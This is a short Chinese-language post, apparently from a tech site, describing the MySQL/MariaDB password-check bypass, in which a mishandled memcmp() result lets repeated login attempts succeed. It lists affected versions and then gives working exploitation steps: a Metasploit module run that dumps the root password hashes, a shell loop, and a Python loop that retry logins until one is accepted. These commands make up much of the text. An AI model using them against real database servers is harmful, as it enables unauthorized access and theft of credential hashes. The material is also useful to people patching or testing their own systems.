当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。
也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
受影响的产品：
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
网上已经出了metasploit版本的相应利用工具
利用方法如下：

复制代码
代码如下:

$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run

[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

测试方法2：
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
测试方法3：

复制代码
代码如下:

#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
如下：
